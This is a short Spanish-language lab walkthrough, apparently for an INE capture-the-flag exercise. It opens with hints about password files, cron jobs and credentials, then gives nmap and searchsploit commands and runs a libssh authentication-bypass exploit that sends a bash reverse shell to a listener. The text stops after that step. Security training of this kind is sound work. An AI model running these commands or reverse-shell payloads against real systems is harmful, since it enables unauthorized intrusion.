Pistas

  1. The file that stores user account details is worth a closer look. (target1.ine.local)
  2. User groups might reveal more than you expect.
  3. Scheduled tasks often have telling names. Investigate the cron jobs to uncover the secret.
  4. DNS configurations might point you in the right direction. Also, explore the home directories for stored credentials.
  5. Use the discovered credentials to gain higher privileges and explore the root's home directory on target2.ine.local.

Empezamos targeteando target1.ine.local y lanzamos escaneo:

nmap -A target1.ine.local

image.png

Vemos un servicio sospechoso de contener vulns, lo buscamos en searchsploit :

searchsploit libssh

image.png

Usaremos Unauthorized Access

Descargamos con searchsploit -m 46307.py y ponemos nc en escucha:

nc -lvnp 4444

Ahora usamos el .py descargado para mandarnos reverse shell:

 python3 46307.py 192.33.20.4 22 '/bin/bash -i >& /dev/tcp/192.33.20.2/4444 0>&1'

image.png